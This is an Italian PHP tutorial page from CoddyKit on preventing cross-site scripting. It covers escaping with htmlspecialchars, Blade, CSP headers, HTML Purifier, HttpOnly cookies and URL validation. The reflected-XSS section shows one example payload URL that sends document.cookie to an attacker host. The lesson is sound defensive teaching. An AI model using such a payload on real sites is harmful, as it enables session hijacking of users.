Prevenzione del cross-site scripting (XSS)
Effettuare l'escape dell'output con htmlspecialchars e implementare una Content Security Policy.
Prevenzione del cross-site scripting (XSS) è una lezione PHP Academy gratuita su CoddyKit. Questa è la lezione 1 di 4. Puoi leggere la lezione completa qui gratuitamente — poi esercitati direttamente nel browser con un editor di codice integrato e un tutor IA disponibile 24/7. Fa parte del percorso di apprendimento PHP Academy, e i tuoi progressi si sincronizzano tra il web e l'app CoddyKit. Il corso PHP Academy include 4 lezioni in totale.
Che cos'è l'XSS?
Cross-Site Scripting (XSS) si verifica quando un attaccante inietta JavaScript dannoso nelle pagine web visualizzate da altri utenti. Lo script viene eseguito nel browser della vittima e può accedere alla sessione, ai cookie e al DOM.
XSS riflesso
Il payload dannoso si trova nell'URL o in un parametro del modulo e viene riflesso dal server nella risposta.
// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>XSS memorizzato
Il payload viene salvato nel database (commento, campo del profilo) e visualizzato da tutti i visitatori che aprono la pagina.
XSS basato sul DOM
La vulnerabilità risiede interamente nel JavaScript lato client, che inserisce dati non attendibili nel DOM in modo non sicuro utilizzando innerHTML o document.write.
htmlspecialchars()
Esegua l'escaping dell'output per convertire i caratteri speciali HTML in entità innocue. Esegua sempre l'escaping prima di eseguire il rendering dei dati forniti dall'utente.
<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entitiesEscape automatico di Blade
La sintassi {{ }} di Laravel Blade chiama automaticamente htmlspecialchars. Utilizzi {!! !!} solo per HTML attendibile e sanificato.
{{-- Safe: --}}
<h1>{{ $user->name }}</h1>
{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>Content Security Policy (CSP)
Un'intestazione HTTP CSP indica ai browser di eseguire script solo da fonti attendibili, bloccando gli script inline iniettati anche se raggiungono la pagina.
<?php
$response->headers->set("Content-Security-Policy",
"default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);Sanificazione dell'input HTML
Se deve consentire input HTML complesso (ad es. un editor WYSIWYG), lo sanifichi con una libreria basata su una whitelist, come HTML Purifier o il package Laravel mews/purifier.
<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);Intestazione X-XSS-Protection
Aggiunga l'intestazione X-XSS-Protection: 1; mode=block (per il supporto dei browser obsoleti). I browser moderni si affidano invece alla CSP.
Cookie HttpOnly
L'impostazione del flag HttpOnly sui cookie di sessione impedisce a JavaScript di leggerli, riducendo il rischio di furto della sessione basato su XSS anche se viene iniettato uno script.
Convalida degli URL
Non inserisca mai URL forniti dall'utente in href o src senza convalidarli. Un URI javascript: può eseguire XSS.
<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
$url = "#"; // fallback
}Riepilogo
Esegua sempre l'escaping dell'output con htmlspecialchars (o con {{ }} di Blade). Aggiunga una Content Security Policy. Sanifichi l'input HTML con una libreria basata su una whitelist. Utilizzi cookie HttpOnly.
Verifica rapida
Quale funzione PHP converte i caratteri speciali HTML in entità?
Impara PHP con un tutor IA — gratis
Scrivi ed esegui vero codice nel tuo browser, ricevi aiuto istantaneo da un tutor IA disponibile 24/7, e riprendi da dove hai lasciato sul web o nell'app.
- Corsi
- 49
- Lezioni
- 195
Domande Frequenti
La lezione «Prevenzione del cross-site scripting (XSS)» è gratuita?
Sì — il testo completo di «Prevenzione del cross-site scripting (XSS)» è gratuito qui sul web. Per esercitarvi in modo interattivo (un editor di codice integrato e un tutor IA 24/7) e sbloccare il resto del corso PHP Academy, passa a CoddyKit PRO. Il corso PHP Academy include 4 lezioni in totale.
Cosa imparerò in «Prevenzione del cross-site scripting (XSS)»?
Effettuare l'escape dell'output con htmlspecialchars e implementare una Content Security Policy. Eserciti PHP Academy con codice pratico che esegui direttamente nel browser, e un tutor IA 24/7 risponde alle tue domande mentre lavori sulla lezione.
Ho bisogno di esperienza per iniziare PHP Academy?
Non è richiesta alcuna esperienza precedente. PHP Academy su CoddyKit è strutturato per principianti e studenti avanzati, quindi puoi iniziare da qui o dall'inizio e procedere al tuo ritmo. Questa è la lezione 1 di 4.
Quanto tempo richiede la lezione «Prevenzione del cross-site scripting (XSS)»?
La maggior parte delle lezioni CoddyKit richiede circa 5–10 minuti. Ogni lezione è breve e interattiva, quindi fai progressi costanti e riprendi esattamente da dove hai lasciato su web e app.
Posso scrivere ed eseguire codice in questa lezione PHP Academy?
Sì. Ogni lezione PHP Academy include un editor di codice integrato, quindi scrivi ed esegui codice reale direttamente nel tuo browser e ricevi feedback istantaneo dall'IA — nessuna configurazione locale necessaria.
Tutte le lezioni di questo corso
- Prevenzione del cross-site scripting (XSS)
- Iniezione SQL e query parametrizzate
- Protezione CSRF
- Archiviazione sicura delle password